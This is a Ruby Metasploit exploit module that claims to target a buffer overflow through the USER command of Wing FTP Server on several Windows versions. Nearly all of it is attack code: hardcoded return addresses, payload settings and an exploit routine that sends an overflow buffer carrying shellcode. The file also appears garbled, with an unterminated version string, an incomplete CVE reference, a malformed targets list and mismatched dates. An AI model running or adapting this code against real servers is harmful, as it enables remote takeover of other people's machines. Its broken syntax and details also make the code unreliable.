|
##
# $Id: Wing_FTP_Server.rb 10559 2010-10-05 23:41:17Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Wing FTP Server USER Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the Wing FTP Server
application. This package is part of the Wing FTP Server package.
This module uses the USER command to trigger the overflow.
},
'Author' => [ 'Angel Injection' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10559
,
'References' =>
[
[ 'CVE', '2011'],
[ 'OSVDB', '15865'],
[ 'URL', 'http://www.1337day.com/exploits/'],
[ 'BID', '16856'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x20\x0d",
'StackAdjustment' => -3500,
},
'Platform' => [ 'win' ],
'Targets' =>
[
[
'Wing FTP Server', # Tested OK - 8/9/2011
{
'Ret' => 0x0040df98,
},
],
[
'Windows 2000 English',
{
'Ret' => 0x75022ac4,
},
],
[
'Windows XP English SP0/SP1',
{
'Ret' => 0x71aa32ad, # ws2help.dll
},
],
[
'Windows 2003 English',
{
'Ret' => 0x7ffc0638, # peb magic :-)
},
],
'DisclosureDate' => '8/9/2011',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /Wing FTP Server/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
# U push ebp
# S push ebx
# E inc ebp
# R push edx
# \x20\xC0 and al, al
buf = rand_text_english(8192, payload_badchars)
buf[0, 1] = "\xc0"
buf[1, payload.encoded.length] = payload.encoded
buf[1014, 4] = [ target.ret ].pack('V')
send_cmd( ["USER #{buf}"] )
send_cmd( ['HELP'] )
handler
disconnect
end
end
|